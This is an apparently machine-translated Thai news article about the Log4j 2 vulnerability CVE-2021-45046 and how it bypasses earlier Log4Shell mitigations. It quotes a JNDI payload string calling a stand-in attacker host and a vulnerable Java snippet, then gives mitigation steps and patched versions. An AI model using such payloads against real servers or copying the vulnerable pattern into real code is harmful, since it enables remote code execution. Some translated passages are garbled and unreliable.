ตัวเลือกการโจมตีใหม่สำหรับ Log4j 2 ที่ช่วยให้คุณข้ามการป้องกันเพิ่มเติมได้

มีการระบุช่องโหว่อื่นในการใช้งานการค้นหา JNDI ในไลบรารี Log4j 2 (CVE-2021-45046) ซึ่งปรากฏขึ้นแม้จะมีการแก้ไขเพิ่มเติมในรุ่น 2.15 และโดยไม่คำนึงถึงการใช้การตั้งค่า “log4j2.noFormatMsgLookup” สำหรับการป้องกัน ปัญหานี้เป็นอันตรายโดยหลักแล้วสำหรับ Log4j 2 เวอร์ชันเก่า ซึ่งได้รับการป้องกันโดยใช้แฟล็ก “noFormatMsgLookup” เนื่องจากทำให้สามารถข้ามการป้องกันจากช่องโหว่ก่อนหน้าได้ (Log4Shell, CVE-2021-44228) ซึ่งช่วยให้คุณสามารถรันโค้ดของคุณบน เซิร์ฟเวอร์ สำหรับผู้ใช้เวอร์ชัน 2.15 การใช้ประโยชน์จำกัดอยู่เพียงการทำให้แอปพลิเคชันหยุดทำงานเนื่องจากทรัพยากรที่มีอยู่หมด

ช่องโหว่นี้จะปรากฏเฉพาะบนระบบที่ใช้ Context Lookups สำหรับการบันทึก เช่น ${ctx:loginId} หรือเทมเพลต MDC (Thread Context Map) เช่น %X, %mdc และ %MDC การดำเนินการเกิดขึ้นที่การสร้างเงื่อนไขสำหรับการแสดงผลข้อมูลที่มีการทดแทน JNDI ไปยังบันทึก เมื่อใช้การสืบค้นบริบทหรือเทมเพลต MDC ในแอปพลิเคชันที่กำหนดกฎสำหรับการจัดรูปแบบเอาต์พุตไปยังบันทึก

นักวิจัยจาก LunaSec ตั้งข้อสังเกตว่าสำหรับ Log4j เวอร์ชันต่ำกว่า 2.15 ช่องโหว่นี้สามารถใช้เป็นเวกเตอร์ใหม่สำหรับการโจมตี Log4Shell ซึ่งนำไปสู่การเรียกใช้โค้ด หากใช้นิพจน์ ThreadContext ที่รวมข้อมูลภายนอกในเอาต์พุตบันทึก ไม่ว่า เปิดใช้งานการตั้งค่าสถานะ "protect" แล้ว noMsgFormatLookups" หรือเทมเพลต "%m{nolookups}"

ตัวเลือกการโจมตีใหม่สำหรับ Log4j 2 ที่ช่วยให้คุณข้ามการป้องกันเพิ่มเติมได้

การข้ามการป้องกันเกิดขึ้นจากข้อเท็จจริงที่ว่าแทนที่จะแทนที่โดยตรงของ “${jndi:ldap://attacker.com/a}” นิพจน์นี้จะถูกแทนที่ด้วยค่าของตัวแปรระดับกลางที่ใช้ในกฎสำหรับการจัดรูปแบบเอาต์พุตบันทึก . ตัวอย่างเช่น หากใช้การสืบค้นบริบท ${ctx:apiversion} เมื่อส่งออกไปยังบันทึก การโจมตีสามารถทำได้โดยการแทนที่ข้อมูล “${jndi:ldap://attacker.com/a}” ลงใน ค่าที่เขียนลงในตัวแปร apiversion ตัวอย่างของโค้ดที่มีช่องโหว่: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") ดัชนีสตริงสาธารณะ(@RequestHeader("X-Api-Version") String apiVersion) { // ค่าส่วนหัว HTTP "X-Api-Version" ถูกส่งผ่านไปยัง ThreadContext ThreadContext.put("apiversion ", apiVersion ); // เมื่อส่งออกไปยังบันทึก ค่า apiversion ภายนอกจะถูกประมวลผลโดยใช้การทดแทน ${ctx:apiversion} logger.info("Received a request for API version"); กลับ "สวัสดีชาวโลก!"; }

ใน Log4j เวอร์ชัน 2.15 สามารถใช้ช่องโหว่ในการโจมตี DoS เมื่อส่งค่าไปยัง ThreadContext ส่งผลให้เกิดการวนซ้ำในการประมวลผลเทมเพลตการจัดรูปแบบเอาต์พุต

ตัวเลือกการโจมตีใหม่สำหรับ Log4j 2 ที่ช่วยให้คุณข้ามการป้องกันเพิ่มเติมได้

มีการเผยแพร่การอัปเดต 2.16 และ 2.12.2 เพื่อป้องกันช่องโหว่ ในสาขา Log4j 2.16 นอกเหนือจากการแก้ไขที่ใช้ในเวอร์ชัน 2.15 และการเชื่อมโยงคำขอ JNDI LDAP กับ “localhost” แล้ว ฟังก์ชัน JNDI จะถูกปิดใช้งานโดยสิ้นเชิงตามค่าเริ่มต้น และการสนับสนุนเทมเพลตการแทนที่ข้อความจะถูกลบออก เพื่อเป็นวิธีแก้ปัญหาด้านความปลอดภัย ขอแนะนำให้ลบคลาส JndiLookup ออกจาก classpath (เช่น “zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class”) .

คุณสามารถติดตามลักษณะที่ปรากฏของการแก้ไขในแพ็คเกจบนหน้าของการแจกจ่าย (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) และผู้ผลิตแพลตฟอร์ม Java (GitHub, Docker, Oracle, vmWare, Broadcom และ Amazon/AWS, Juniper, VMware, Cisco, IBM , Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure ฯลฯ )

ที่มา: opennet.ru

เพิ่มความคิดเห็น